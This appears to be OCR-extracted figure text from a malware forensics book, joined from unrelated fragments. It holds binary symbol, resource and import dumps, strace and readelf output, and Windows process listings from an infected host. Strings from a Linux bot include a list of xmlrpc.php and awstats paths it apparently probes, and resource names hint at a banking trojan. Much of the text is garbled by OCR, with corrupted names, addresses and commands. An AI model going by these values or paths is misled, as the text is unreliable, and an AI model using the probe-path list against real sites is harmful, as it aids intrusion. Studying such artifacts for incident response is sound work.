FUNC
FUNC
FUNC
FUNC
FUNC
FUNC
FUNC
FUNC
FUNC
FUNC
FUNC
FUNC
FUNC
FUNC
FUNC
FONC
FUNC
FUNC
FUNC
FUNC
FUNC
FONC
FUNC
FUNC

Bind
LOCAL

GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL

vis
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT

syms sysfile

e
uND
uND
uND
uND
uND
uND
uND
uND
oND
uND
oNp
oND
uND
oNp
uND
uND
oNp
uND
oND
uND
oND
uND
uND
uND
oND
uND
uND
oND
oND
oND
uND

Name

atol6GLIBC 2.0 (2)
ntohl@GLIEC 2.0 (2)
vsprintfeGLIBC 2.0 (2)
£e0£GGLIBC 2.0 (2)
getpideGLIBC 2.0 (2)
Strdup@GLIBC 2.0 (2)
WEite@GLIBC 2.0 (2)
Close@GLIBC 2.0 (2)
£forkQGLIBC 2.0 (2)
Ppelose@GLIBC 2.1 (3)
5elect@GLIBC 2.0 (2)
beopy@GLIBC 2.0 (2)
__errno_location@GLIBC 2.0 (2)
3ccepteGLIBC 2.0 (2)
POPEEGLIEC 2.1 (3)
1isten@GLIEC 2.0 (2)
malloc@GLIBC 2.0 (2)
getppideGLIBC 2.0 (2)
SendtolGLIBC 2.0 (2)
setsockopt@GLIEC_2.0 (2)
waitpideGLIBC 2.0 (2)
tineeGLIBC 2.0 (2)
£getsGLIEC 2.0 (2)
strlen@GLIBC 2.0 (2)
51eep@GLIBC 2.0 (2)
Stencmp@GLIEC_2.0 (2)
£utc@GLIBC 2.0 (2)
inet_addr@GLIEC 2.0 (2)

inet networkeGLIAC_2.0 (2)
__libc_start_main@GLIBC_2.0 (2)
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DataRVA: FBAF4 DataSize: 000E8 CodePage: 0

368F5F16
6BE5F16

ResDir (ICON) Entries:09 (Named
ResDir (1) Entries:01 (Named:00,
ID: 00000416 DataEntryOffs: 00000828

DataRVA: CAS828 DataSize: 00128 CodePage:
ResDir (2) Entries:01 (Named:00, 1D:01) TimeDate:
ID: 00000416 DataEntryOffs: 00000838

DataRVA: CAS2CO DataSize: 00568 CodePage:
ResDir (3) Entries:01 (Named:00, ID:01) TimeDate
ID: 00000416 DataEntryOffs: 00000848
DataRVA: CA4FDS DataSize: 002E8 CodePage
ResDir (4) Entries:01 (Named:00, ID:01) TimeDate
ID: 00000416 DataEntryOffs: 00000858
DataRVA: CA4730 DataSize: 008A8 CodePage:
ResDir (5) Entries:01 (Named:00, ID:01) TimeDate:
ID: 00000416 DataEntryOffs: 00000868
DataRVA: CA40CS DataSize: 00668 CodePage:
ResDir (6) Entries:01 (Named:00, ID:01) TimeDate:
1ID: 00000416 DataEntryOffs: 0000078
DataRVA: CA3220 DataSize: O0EAS CodePage: 0

6BESFL6

6BE5F16

6BE5F16

6BESFL6

6BESFL6
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B:\WinIR\Processes>psist -t
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starting server build id
-/update. listen

Build: sd

ALl seems ok .. demonizing
demonized

received %.2x

received an update command
wrong mdSsum for update
update: unable to malloc()
port deja folosit()

nu pot crea socket
./listen

Listen.log

xxx.223.104.152
xxx.224.174.18

ts.td.%d

/egi-bin/
/cgi-bin/awstats/
/blog/xmlrpc.php
/blog/xmlsrv/xnlrpe.php
/blogs/xmlsrv/xmlrpc.php
/drupal/xmlrpe.php
/phpgroupware/xnlrpc.php
Jwordpress/xmlrpc.php
/xmLrpc/xmlxpe.php

child %d exited

Starting distributed computing daemon by *¥trrirsisrrar:

MARNING 56 ihtertet Foutesble: ins: feund
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ResDir (TFRMBRAD) Entries:01 (Named:00, II
ID: 00000000 DataEntryOffs: 00000D98
DataRVA: 13CIFS DataSize: 3SEEBD CodePage: 0

ResDir (TFRMCERT) Entries:0l (Named:00, ID:01) TimeDate:36BFSF16
ID: 00000000 DataBntry0ffs: 00000DAS
DataRVA: 49B0B8 DataSize: 005A1 CodePage: 0

ResDir (TFRMHSBC) Entries:0l (Named:00, ID:01) TimeDate:3SBFSF16
ID: 00000000 DataEntryOffs: 00000DBS
DataRVA: 49B65C DataSize: 20C03 CodePage: 0

ResDir (TFRMHSBCASS) Entries:0l (Named:00, ID:01) TimeDate:36BESF16
1ID: 00000000 DataEntryOffs: 00000DCE
DataRVA: 4BC260 DataSize: 20E9B CodePage: 0

ResDir (TFRMITAU) Entries:0l (Named:00, ID:01) TimeDat
ID: 00000000 DataEntryOffs: 00000DDS
DataRVA: 4DDOFC DataSize: 47DS CodePage: 0

ResDir (TFRMPRINC) Entries:0l (Named:00, ID:01) TimeDate:36BFSF16
ID: 00000000 DataEntryOffs: 00000DES
DataRVA: 524BDS DataSize: SDCT0B CodePage: 0

ResDir (TFRMSANT) Entries:0l (Named:00, ID:01) TimeDat
ID: 00000000 DataEntryOffs: 00000DFS
DataRVA: BO12E4 DataSize: 19C3D0 CodePage: 0

1) TimeDate:36BFSF16

6BESFL6

6BESFL6

ResDir (GROUP_CURSOR) Entries:07 (Named:00, 1D:07) TimeDate:36BESF16

ResDir (7FF9) Entries:01 (Named:00, ID:01) TimeDate:36BESF16
ID: 00000000 DataEntryOffs: 00000EO8
DataRVA: COD6B4 DataSize: 00014 CodePage: 0

ResDir (7FFA) Entries:0l (Named:00, ID:01) TimeDate:36BESF16
ID: 00000000 DataEntry0ffs: 00000E18
DataRVA: CID6C8 DataSize: 00014 CodePage: 0

ResDir (7FFB) Entries:01 (Named:00, ID:01) TimeDate:36BFSF16
ID: 00000000 DataEntryOffs: 00000E28
DataRVA: CODEDC DataSize: 00014 CodePage: 0

ResDir (7FFC) Entries:01 (Named:00, ID:01) TimeDate:36BESF16
ID: 00000000 DataEntryOffs: 00000E38
DataRVA: CODGF0 DataSize: 00014 CodePage: 0

ResDir (7FFD) Entries:0l (Named:00, ID:01) TimeDate:36BESF16
ID: 00000000 DataEntryOffs: 00000E48
DataRVA: C9D704 DataSize: 00014 CodePage: 0

ResDir (7FFE) Entries:0l (Named:00, ID:01) TimeDate:36BESF16
ID: 00000000 DataEntryOffs: 00000ESS
DataRVA: COD718 DataSize: 00014 CodePage: 0

ResDir (7FFF) Entries:01 (Named:00, ID:01) TimeDate:36BFSF16
ID: 00000000 DataEntryOffs: 00000E68
DataRVA: CID72C DataSize: 00014 CodePage: 0

ResDir (GROUP_ICON) Entries:0l (Named:01, ID:00) TimeDate:36BFSF16

ResDir (MAINICON) Entries:01 (Named:00, ID:01) TimeDate:36BFSF16
ID: 00000416 DataEntryOffs: 00000E78

DataRVA: COF6E4 DataSize: 00084 CodePage

ResDir (VERSION) Entries:01 (Named:00, I
ResDir (1) Entries:0l (Named:00, ID:01) TimeDate:36BFSF16
ID: 00000416 DataEntryOffs: 00000ESS
DataRVA: C9F444 DataSize: 002A0 CodePage: 0
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The Directory Table:
. ./sysdeps/generic/bits
+ . fwcsmbs
/usz/1ib/gec-1ib/i386-redhat-1inux/3.2.2/include
- ./sysdeps/gnu
.. /iconv

The File Name Table:

Entry Dir Time Size  Name
1 o o o init.c

2 1 o o types.h

3 2 0 [ wehar.h

4 3 0 0 stddef.h

5 4 0 0 _G_config.h
B 5 0 0 geonv.h
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lab@MalwareLab:~/Desktop$ strace -o sysfile.txt -e read=all -e write=all

-££ ./sysfile

<excerpted for brevity>

clone (child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD,

child_tidptr=0xb7e3£708) = 8646

exit_group(0) =
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E:\MIRACLE\Processes>tasklist -V
<excerpt>

Inage Name PID Session Name Sessionf Mem Usage Status User Name CPU
Tine Window Title

spoolsv.exe 1600 Console o 4,996 K Running  NT AUTHORITY\SYSTEM
0:00:00 N/A

spoolsv.exe 864 Console 0 4,872 K Running  KIN-MRKTG-WSS5\Kim
0:00:00 N/A

rundl132.exe 1292 Console o 1,156 K Running  KIM-MRKTG-WSS\Kim

0:00:00 xmas.jpg - Windows Picture and Fax Viewer
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scott@xxxxxxx: /media/thunbdrive/Linux-1RS pmap -x 6194
6194:  ./gol

08048000 388K r-x-- /tmp/eyt/gol

08029000 8K rw--- /tmp/eyt/gol

080ab000 136K rw--- [ anon ]
b7£6£000 4K ru- ( anon |
bfcaso00 276K rw--- [ stack |
££££2000 4K r-x-- [ anon ]

total 816K
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ResDir (FF5) Entries:01 (Named:00, ID:01) TimeDate:36BF5F16
ID: 00000000 DataEntryoffs: 00000C88
DataRVA: 100FFS DataSize: 00274 CodePage: 0

ResDir (FF6) Entries:01 (Named:00, ID:01) TimeDate:36BESF16
ID: 00000000 DataEntryoffs: 00000C98
DataRVA: 10126C DataSize: 0027C CodePage: 0

ResDir (FF7) Entries:0l (Named:00, ID:01) TimeDate:36BFSF16
ID: 00000000 DataEntryoffs: 00000CAS
DataRVA: 1014E DataSize: 00410 CodePage: 0

ResDir (FF8) Entries:0l (Named:00, ID:01) TimeDate:36BFSFL6
ID: 00000000 DataEntryoffs: 00000CES
DataRVA: 1018F8 DataSize: 0036C CodePage: 0

ResDir (FF9) Entries:0l (Named:00, ID:01) TimeDate:36BFSF16
ID: 00000000 DataEntryoffs: 00000CCB
DataRVA: 101C64 DataSize: 0038C CodePage: 0

ResDir (FFA) Entries:0l (Named:00, ID:01) TimeDate:36BFSFL6
ID: 00000000 DataEntryoffs: 00000CDS
DataRVA: 101FF0 DataSize: 0042C CodePage: 0

ResDir (FFB) Entries:0l (Named:00, ID:01) TimeDate:36BFSF16
ID: 00000000 DataEntryOffs: 00000CES
DataRVA: 10241C DataSize: 000F0 CodePage: 0

ResDir (FFC) Entries:0l (Named:00, ID:01) TimeDate:36BFSFL6
ID: 00000000 DataEntryOffs: 00000CF8
DataRVA: 10250C DataSize: 000D8 CodePage: 0

ResDir (FFD) Entries:0l (Named:00, ID:01) TimeDate:36BESF16
ID: 00000000 DataEntryOffs: 0000008
DataRVA: 1025E4 DataSize: 00274 CodePage: 0

ResDir (FFE) Entries:0l (Named:00, ID:01) TimeDate:36BESF16
ID: 00000000 DatakntryOffs: 00000D18
DataRVA: 102858 DataSize: 003E0 CodePage: 0

ResDir (FFF) Entries:01 (Named:00, ID:01) TimeDate:36BFSF16
ID: 00000000 DataEntryOffs: 00000D28
DataRVA: 102C38 DataSize: 00388 CodePage: 0

ResDir (1000) Entries:01 (Named:00, 1D:01) TimeDate:36BFSF16

ID: 00000000 DataEntryOffs: 00000038
DataRv

102FC0 DataSize: 002D4 CodePage: 0

ResDir (RCDATA) Entries:0C (Named:0C, ID:00) TimeDate:36BESF16

ResDir (DVCLAL) Entries:0l (Named:00, ID:01) TimeDate:36BFSF16
ID: 00000000 DataEntry0ffs: 00000D48
DataRVA: 103294 DataSize: 00010 CodePage: 0

ResDir (PACKAGEINFO) Entries:0l (Named:00, ID:01) TimeDate:36BFSFL6
ID: 00000000 DataEntryOffs: 00000D58
DataRVA: 103224 DataSize: 00684 CodePage: 0

ResDir (TFORM4) Entries:0l (Named:00, ID:01) TimeDate:36BESF16
ID: 00000000 DataEntryOffs: 00000D68
DataRVA: 103928 DataSize: OA2IF CodePage: 0

ResDir (TFORM7) Entries:0l (Named:00, ID:01) TimeDate:36BFSF16
ID: 00000000 DataEntryOffs: 00000078
DataRVA: 10DB48 DataSize: 221C3 CodePage: 0

ResDir (TFORM_N_B_CTECL) Entries:01 (Named:00, ID:01) TimeDate:
ID: 00000000 DataEntryoffs: 00000D88
DataRVA: 12FDOC DataSize: OC4EB CodePage: 0

6BESF16
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lab@MalwareLab:~/Malware Repository$ readelf --debug-dump sysfile

The section .debug_aranges contains:
Length 44

versior 2
Offset into .debug_info: 89c

Pointer Size 4
Segment Size: 0

Address  Length

0x0804be6d Ox1d

0x08048a4c Oxc

0x08048d£6 0x23

0x00000000 0x0
Length: 36
Versio 2
offset into + 9ge
Pointer Size 4
Segment Size 0

Address  Length
0x0804be7a 0x5
0x08048a61 0x2
0x00000000 0x0

Contents of the .debug_pubnames sectio

33
2
Offset into .debug_info section: o
size of area in .debug_info section: 2204
offset Name
2180 _10_stdin_used

Dump of debug contents of section .debug_line:

Lengt! 199
DWARF Version: 2
Prologue Length: 193
Minimum Instruction Length: 1
Initial value of 'is stmt': 1
Line Base: -s
Line Range: 14
Opcode Base: 10
Opcodes:

Opcode 1 has 0 args

Opcode 2 has 1 args

Opcode 3 has 1 args

Opcode 4 has 1 args

Opcode 5 has 1 args

Opcode 6 has 0 args

Opcode 7 has 0 args

Opcode 8 has 0 args

Opcode 9 has 1 args
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strace o <file name-e read=all - write=all -ff /<binary

strace -0 <file name>~trace
name>

vetwork -ff./<binary strace o,

name>—trace=process ff
<binary name>

strace -0 <file name> ~trace=file -

strace -0 <file name> ~trace=desc -ff
J<binary name>

/<binary name>
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Process Name
ProcessID
priority
Product Name
Version
Description
Company
Window Title
File Size
File Created Date
File Modified Date
Filename

Base Address
Created On
visible Windows
Hidden Windows
User Name

ven Usage

Mem Usage Peak
Page Faults
Pagefile Usage
Pagefile Peak Usage
File Attributes

rund1132.exe
: 1202
Normal
Microsoft® Windows® Operating System
5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)
: Run a DLL as an App
Microsoft Corporation
xmas.jpg - Windows Picture and Fax Viewer
33,280
8/23/2001 1. 0 M
8/4/2004 8:56:56 AM
C:\WINDOWS\system32\rundl132..exe
0x01000000
: 3/17/2008 9:52:20 PM
i1
2
* KIN-MRKTG-WSS\Kim
1160 ¥
27,216 ¥
1687
2512 K
3660 ¥
P A
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lab@MalwareLab:/Desktop$ cat mfetch.lst
# This memory data dump generated by memfetch by <lcamtuf@coredump.cx>
# PID 6194, declared executable: /tmp/eyt/gol
¢ Date: Sun Mar 30 18:29:43 2008
[000] map-000.bin:
Memory range 0x08048000 to 0x080a9000 (397312 bytes)
MAPPED FROM: /tmp/eyt/gol
08048000-08029000 r-xp 00000000 08:01 932228
[001] map-001.bin:
Memory range 0x080a9000 to 0x080ab000 (8192 bytes)
MAPPED FROM: /tmp/eyt/gol
080a9000-080ab000 rw-p 00060000 08:01 932228
[002] mem-002.bin:
Memory range 0x080ab000 to 0x080cd000 (139264 bytes)
080ab000-080¢d000 rw-p 080ab000 00:00 0 [heap]
[003] mem-003.bin:
Memory range 0xb7£6£000 to 0xb7£70000 (4096 bytes)
b7£6£000-b7£70000 ru-p b7£6£000 00:00 0
[004] mem-004.bin:
Memory range OxbfcaS000 to Oxbfcead00 (282624 bytes)
b£cas000-bfceadld ru-p bfcas000 00:00 0 [stack]
[005] mem-005.bin:
Memory range OXff£fe000 to OXEEEFE000 (4096 bytes)
££££6000-FE£££000 £-xp 00000000 00:00 O tvdso]
¥ End of file.
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version.dll
Import Lookup Table RVA: 00000000

TimeDateStan 00000000
ForwarderChain: 00000000
DLL Name RVA: 00coF182

Import Address Table RVA: 00C9F251
Ordn Name
0 VerQueryvaluea

gdi32.dll
Import Lookup Table RVA: 00000000
TimeDateStamp: 00000000
ForwarderChain: 00000000
DLL Name RVA: 00C9F18E

Import Address Table RVA: 00C9F259
Ordn Name
0 Unrealizeobject

user32.dll
Import Lookup Table RVA: 00000000
TimeDateStamp: 00000000
ForwarderChain: 00000000
DLL Name RVA: 00C9F198

Import Address Table RVA: 00C9¥261
oOrdn Name
0 CreateWindowExA

ole3z.dll
Inport Lookup Table RVA: 00000000
TimeDateStang 00000000
ForwarderChain: 00000000
DLL Name RVA: 00C9F1A3

Inport Address Table RVA: 00COF269
ordn Name
0 IsEqualGUID

oleaut32.dll

Import Lookup Table RVA: 00000000
TimeDatestany 00000000
ForwarderChain: 00000000
DLL Name RVA: 00C9F1AD

Import Address Table RVA: 00COF271
Oran Name
0 SafeArrayPtrofIndex

ole32.dll
Import Lookup Table RVA: 00000000
TineDateStany 00000000
ForwarderChain: 00000000
DLL Name RVA; 00coF1BA

Import Address Table RVA: 00C9F279
oran Name
0 CreateStreamOnGlobal
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VELSlon NENGE SWCLION - Ign0.VEIEiGn X’ ‘Contains i SnCIies:

Addr: 0x0000000008048864 Offset: 0x000864 Link to section: 5 (.dynstr)
000000: Version: 1 File: libc.so.6 Cnt: 2

0x0010:  Name: GLIBC 2.1 Flags: none Version: 3

0x0020:  Name: GLIBC_2.0 Flags: none Version: 2
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E:\WinIR\Processes>CurrProcess.exe /stext >E:\Results\Processes\currprocess.log
<excerpt>

Process Name : spoolsv.exe
ProcessID 864

Priority : Normal

Product Name : mIRC

Version 6.03

Description & mIRC

Company : mIRC Co. Ltd.

Window Title

File Size : 1,790,464

File Created Date 3/17/2008 9:52:19 BM
File Modified Date 11/28/2007 5:27:21 PM
Filename + C:\WINDOWS\temp\spoolsv\spoolsv.exe
Base Address : 0%00400000

created On 3/17/2008 9:52:20 BM
visible Windows i 0

Hidden Windows i3

User Name * KIM-MRKTG-WSS\Kim
vem Usage 4944 K

vem Usage Peak © 27,600 K

Page Faults 2880

Pagefile Usage 1504 X

Pagefile Peak Usage + 1508 K

File Attributes ARHS
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Rii Ok uHLlA DOW QOIS PELUJEOUDG:
bbalaB8Eb2fctdl666a9d8cT2cda021a
update: unable to exec reason: errn

update: unable to chmod: errn

unable to close “os” errn:

just for info one of the ips is s
[FATAL] unable to bind port, errn

s
i am beeing ran as ./update.listen (updating)
unable to open for write ./listen errmo=id, %s
unable to open listen.update for reading
unable to unlink ./listen errno=id, ¥s
$.20/%.2d %.2d:%.2d:%.2d [3d] [%d] %s






OEBPS/images/f000074gr60h.jpg
TLS directory:
StartAddressofRawbata:
EndAddressOfRawData:
AddressOfIndex:
AddressOfCallBacks:
SizeOfzeroFill:
Characteristics:

Inports Table:
kernel32.d1l
Inport Lookup Table RVZ
TimeDateStamp:
ForwarderChain:
DLL Name RVA:

0045000
004E5010
004DDOR0
004E6010
00000000
00000000

00000000
00000000
00000000
00C9EF6C

Inport Address Table RVA: 00COEFSC

ordn Name
0 GetProcAddress
0 GetModuleHandlea
0 LoadLibraryh

user32.dil
Import Lookup Table RV
TimeDateStany

ForwarderChai
DLL Name RVA:

00000000
00000000
00000000
00C9F150

Import Address Table RVA: 00C9F231

Ordn Name
0 GetKeyboardType

advapi32.dll

Import Lookup Table RVA:

TimeDatestany
ForwarderChain:
DLL Name RVA:

00000000
00000000
00000000
00coF1SB

Import Address Table RVA: 00C9F239

oran Name
0 RegQueryValueExh

oleaut32.dll
Import Lookup Table RV
TimeDateStany
ForwarderChain:
DLL Name RVA:

00000000
00000000
00000000
00C9F168

Inport Address Table RVA: 00C9F241

Ordn Name
0 sysFreestring

advapi32.dll
Import Lookup Table RV:
TimeDatestany
ForwarderChain:
DLL Name RVA;

00000000
00000000
00000000
00C9F175

Import Address Table RVA: 00C9F249

oran Name
0 RegSetValueExA
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Version symbols section '.gnu.version' contains 57 entries:

Addr: 00000000080487£0 Offset: 0x0007£0 Link: 4 (.dynsym)
000: 0 (*local®) 2 (GLIBC_2.0) 2 (GLIBC_2.0) 2 (GLIBC_2.0)
004: 2 (GLIEC_2.0) 2 (GLIBC_2.0) 2 (GLIBC_2.0) 2 (GLIBC_2.0)
008: 2 (GLIBC_2.0) 2 (GLIBC_2.0) 3 (6LIBC_2.1) 2 (GLIBC_2.0)
00c: 2 (GLIBC_2.0) 2 (GLIBC_2.0) 2 (GLIBC_2.0) 3 (GLIBC_2.1)
010: 2 (GLIBC_2.0) 2 (6LIBC_2.0) 2 (GLIBC_2.0) 2 (GLIBC_2.0)
014: 2 (GLIBC_2.0) 2 (6LIBC_2.0) 2 (GLIBC_2.0) 2 (GLIBC_2.0)
018: 2 (GLIBC_2.0) 2 (6LIBC_2.0) 2 (GLIBC_2.0) 2 (GLIBC_2.0)
Olc: 2 (GLIBC_2.0) 2 (6LIBC_2.0) 2 (GLIBC_2.0) 2 (GLIBC_2.0)
020: 2 (GLIBC_2.0) 2 (6LIBC_2.0) 2 (GLIBC_2.0) 3 (GLIBC_2.1)
024: 2 (GLIBC_2.0) 2 (6LIBC_2.0) 2 (GLIBC_2.0) 2 (GLIBC_2.0)
028: 2 (GLIBC_2.0) 2 (6LIBC_2.0) 2 (GLIBC_2.0) 2 (GLIBC_2.0)
02c: 2 (GLIBC_2.0) 2 (GLIBC_2.0) 2 (GLIBC_2.0) 3 (GLIBC_2.1)
030: 1 (*global®) 2 (GLIBC_2.0) 2 (GLIBC_2.0) 2 (GLIBC_2.0)
034: 2 (GLIBC_2.0) 2 (GLIBC_2.0) 2 (6LIBC_2.0) 0 (*local®)
038: 2 (GLIBC 2.0)
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time (NULL)

getppid()

brk (0)

brk (0x806£000)

open (*/usr/dict/words”, O_RDONLY)
open (*/ust/dict/words”, O_RDONLY)

open (*/usr/dict/words”, O_RDONLY)

1207931463

1

= 0x8042000
= 0x806£000

-1

(OENT
-1 ENOENT
-1 ENOENT

(No such file or directory)
(No such file or directory)

(No such file or directory)
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E:\WinIR\Processes>pv.exe -

<exceprt>

PROCESS
smss.exe
winlogon.exe
services.exe
lsass.exe
svchost .exe
svchost .exe
Explorer.EXE
spoolsv.exe
msmsgs . exe
uscntfy.exe
wuauclt .exe
dllhost.exe
spoolsv.exe
rund1132.exe
cnd.exe
pv.exe

1343
520
692
736
748
908

1084

1480

1600

1760

1700

1036
804
864

1292

1644
796

PRIO
Normal
High

Normal
Normal
Normal
Normal
Normal
Normal
Normal
Normal
Normal
Normal
Normal
Normal
Normal
Normal

PATH
C: \WINDOWS\Systen32\snss .exe
C:\WINDOWS\systen32\winlogon. exe
C:\WINDOHS\systen32\services. exe
C:\WINDOWS\system32\1sass . exe
C:\WINDOWS\system32\svchost .exe
C:\WINDOWS\System32\svchost .exe
C:\WINDOWS\Explorer .EXE

C: \WINDOWS\system32\spoolsy.exe
C:\Program Files\Messenger\msmsgs.exe
C:\WINDOWS\systen32\wscnt £y . exe
C:\WINDOWS\system32\wuauclt .exe
C:\WINDOWS\Systen32\dl1host .exe

C: \WINDOWS\ temp\spoolsv\speolsv. exe
C:\WINDOWS\systen32\rund1132. exe

C: \WINDOWS\system32\cnd. exe
e:\WinIR\Processes\pv.exe
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E:\WinIR\Processes>tasklist

Inage Name PID Session Name  Sessioni  Mem Usage

system Idle Process 0 Console 0 28
system 4 console 0 236 K
smss.exe 520 Console 0 388
csrss.exe 668 Console 0 2,192 K
winlogon.exe 692 Console 0 8,548 K
services.exe 736 Console 0 5,344 K
lsass.exe 748 Console 0 1,360 K
svchost .exe 908 Console 0 4,428
svchost .exe 988 Console 0 3,996 K
svchost .exe 1084 Console 0 26,244 K
svchost .exe 1128 Console 0 3,000 K
svchost .exe 1180 Console 0 4,248
explorer.exe 1480 Console 0 21,804 ¥
spoolsv.exe 1600 Console 0 4,992 K
msmsgs . exe 1760 Console 0 2,140
mscorsvw. exe 1984 Console 0 2,360 K
alg.exe 1196 Console 0 3,232 %
wscntfy.exe 1700 Console 0 1,792 %
wuauclt.exe 1036 Console 0 3,572 K
dllhost .exe 804 Console 0 6,116 ¥
spoolsv.exe 864 Console o 27,600 K
rundl132. exe 1292 Console o 27,216
cnd.exe 1752 Console 0 2,384 &
tasklist.exe 1532 Console 0 4,048 K
umiprvse.exe 996 Console 0 5,202 K
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scott@xumnnnx: /media/thumbdrive/Linux-TRS. /pd_v1.1
1tk 2006,
map-000.
map-001.

pd, version

Arot

mem-003
mem-004

mem-005

Dump complete.

mem-002.

dnp
dnp
anp
dnp

.dmp

.dnp

v -p 6194 > 6194.dump
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oleaut32.dll
Inport Lookup Table RVA: 00000000

TineDateStamp: 00000000
ForwarderChai 00000000
DLL Name RVA: 00coF1Ca

Inport Address Table RVA: 00C9F281
Ordn Name
0 GetErrorInfo

comet132.d11
Inport Lookup Table RVA: 00000000

TineDateStamp: 00000000
ForwarderChain: 00000000
DLL Name RVA: 00C9F1DL
Inport Address Table RVA: 00C9F289

Ordn Name
0 ImageList_SetIconSize

shel132.d11
Inport Lookup Table RVA: 00000000
TineDateStamp: 00000000
ForwarderChais 00000000
DLL Name RVA: 00C9F1DE
Inport Address Table RVA: 00COF291
Ordn Name

0 SHGetFileInfon

wininet.dll
Import Lookup Table RVA: 00000000

TimeDateStamp: 00000000
ForwarderChain: 00000000
DLL Name RVA: 00C9F1EA
Inport Address Table RVA: 00C9F299
oran Name
0 InternetSetOptionA

urlmon.dll

Inport Lookup Table RVA: 00000000
TimeDateStamp: 00000000
ForwarderChain: 00000000
DLL Name RVA: 00C9F1F6

Inport Address Table RVA: 00C9F2AL
Ordn Name
0 CoInternetCreateZoneManager

shell32.dll

Import Lookup Table RVA: 00000000
TineDateStamp: 00000000
ForwarderChain 00000000
DLL Name RVA: 00C3F201

Import Address Table RVA: 00COF2A9
ordn Name
0 SHGetSpecialFolderLocation
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:\WinIR\Processes>pslist
pslist v1.28 - Sysinternals Pslist
Copyright - 2000-2004 Mark Russinovich
sysinternals

Process information for KIM-MRKTG-WSS:

Name Pid Pri Thd Hnd
Idle o 0 1 o
system 4 8 56 262
smss. 520 11 3 21
csrss 668 13 10 368
winlogon 692 13 19 505
services 736 9 15 267
Lsass 748 9 19 330
svchost 208 & 17 19
svchost 988 8 11 281
svchost. 1084 8 541377
svchost 1286 8 6 80
svchost 1180 8 14 204
explorer 1480 8 16 501
spoolsv 1600 8 10 117
msmsgs 1760 8 2 160
alg 196 8 6 103
wscntfy 1700 8 1 27
waauclt 103 8 3 160
dlihost 804 8 13 185
spoolsv 864 8 5 110
rund1132 1202 8 3 86
pslist 192 13 2 93

:00:14.546
£00:02.359
0:01.656
875
.250
.375
531
078
.140
.s62
7
:00:00.203
£00:00.078

0300:00.156

Elapsed Time

0:00:00.000
0:00:00.000
0:52:19.328
0:52:18.359
0:52:17.953
0:52:17.406
0:52:17.218

16.281
:15.687
15.531
15.437
14.859
13.406
113,015
11.406
£59.000
:58.484
:58.328
0:16:54.703

0:08:23.578
0:00:01.906
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E:\IR>nbtstat -S

Local Area Connection:
Node IpAddress: [172.16.109.128] Scope Id: []

NetBIOS Connection Table

Local Name ~ State  In/Out Remote Host Input  Output

“SBSERVER  Connected In 172.16.109.133 1768 18KB

£:\IR>net sessions

Computer User name Client Type Opens Idle time

\\172.16.109.133 ADMINISTRATOR Windows 2002 Serv 3 00:00:00

The command completed successfully.
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E:\WinIR\Processes>cmdline

DiamondC$ Commandline Retrieval Tool for Windows NT4/2K/XP
Copyright (C) 2003, DiamondCS - http://www.diamondcs.com.au
[excerpt]

864 - C:\WINDOWS\temp\spoolsv\spoolsv.exe
C:\WINDOWS\ temp\spoolsv\spoolsy.exe
1292 - C:\WINDOWS\system32\rund1132.exe

"rundl132.exe” C:\WINDOWS\System32\shimgvw.dll, InageView_Fullscreen
C: \WINDOWS\ temp\spoolsv\xmas. jpg
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YanAoyon
sexvices
dllnost
svehost
wmipruse
wmiprvse
svehost
svchost.
woauclt
wsent £y
svehost
svehost
alg
spoolsv
1sass
spoolsv
explorer
end
pslist
nsmsgs
rundl132

94
736
804
908
216
556
988

1084

1036

1700

1128

1180

119

1600
748
864

1480

1644

1384

1760

1202

14

10
3

17

209
269
188
199
129
290
290

1437
160

27
82
204
103
17
343
12
531
21
88
168
85

35468
40912
60680
36736
49364
34680
87420
35684
25496
29912
37476
32548
42104
40812
48264
86428
13680
17620
42360
34428

9030
3880
6112
4684
4364
8128
1080

18644
3852
1812
3028
4208
3200
4948
1608
4980

11840
1376
1672
2168
1156

b od
1912
2200
2968
2660
3368
1660
12088
2084

460
1204
1700
1052
3376
3620
1508
15776
1464

72
1364
2516
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7o43:41.81 ExShelled dir oi\winntrsystond2dfx
Uolune in drive C has no
Uoline Sendai’fumben: 12 029821508

Directory of ci\winnt\systend2

12/07/1999 22,808 dfsshlex.dll
12/07/1999 dfrg.nsc
120771999 dirgres d1l
12/07/1999 dfrgui a1l

07/21/2008
07/21/2008
12212600

dErgfat.exe
dErgntEs . exe
dfrgenap.dll
57130 hoter

8 Dirs)"  3,953.172)489 bytes free

17:13:17.72 Ex\Shells> dir c:\winnt\systend2ums
Uolune in drive C has no aE
Uolune Serial Number is 0275-190B

Directory of ci\winnt\systen32

12/07/1999 12:08p 13,672 undaxfrn.dl1l

12/07/1999 12:06p 887336 unpnpngr_d11

07/21,2008 04:058 27,928 unandly.dll
3 File(s> 129,328 hytes

@ Dirs>  3,953,172,480 hytes free
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Filename : wes[1).3s

Content Type application/x-javascript

URL : http://<examplesite.com>/wts.js

Last Accessed 3/18/2008 6:21:10 AM

Last Modified w/a

Expiration Time 3/1/2008 4:20:48 P

hits 6

File Size 8,127

Subfolder Name ORCL4XOL

Full Path C:\Documents and Settings\Kim\Local Settings\Temporary Internet

Files\Content . ES\GRCLAKOL LS [1] .3
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Device Name : USB Flash Memory

Description : USB Mass Storage Device
Device Type : Mass Storage
Connected No

safe To Unplug No

Drive Letter :

Serial Number : OFFO0A6502130AF46
Created Date : 3/12/2008 8:47:14 PU
Last Plug/Unplug Date: N/A

VendorID 1101

ProductID : 6545

USB Class o8

USB SubClass 06

USB Protocol : 50

Hub / Port 5

Computer Name :
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soqsaces

8048add: 89 5
8048a4£: 83 ec 08

# CALL CALL_GMON_START_FUNCT
8048a52: 28 al 03 00 00
# CALL FRAME_DUMMY_FUNCT ()
8048a57: 8 fc 03 00 00

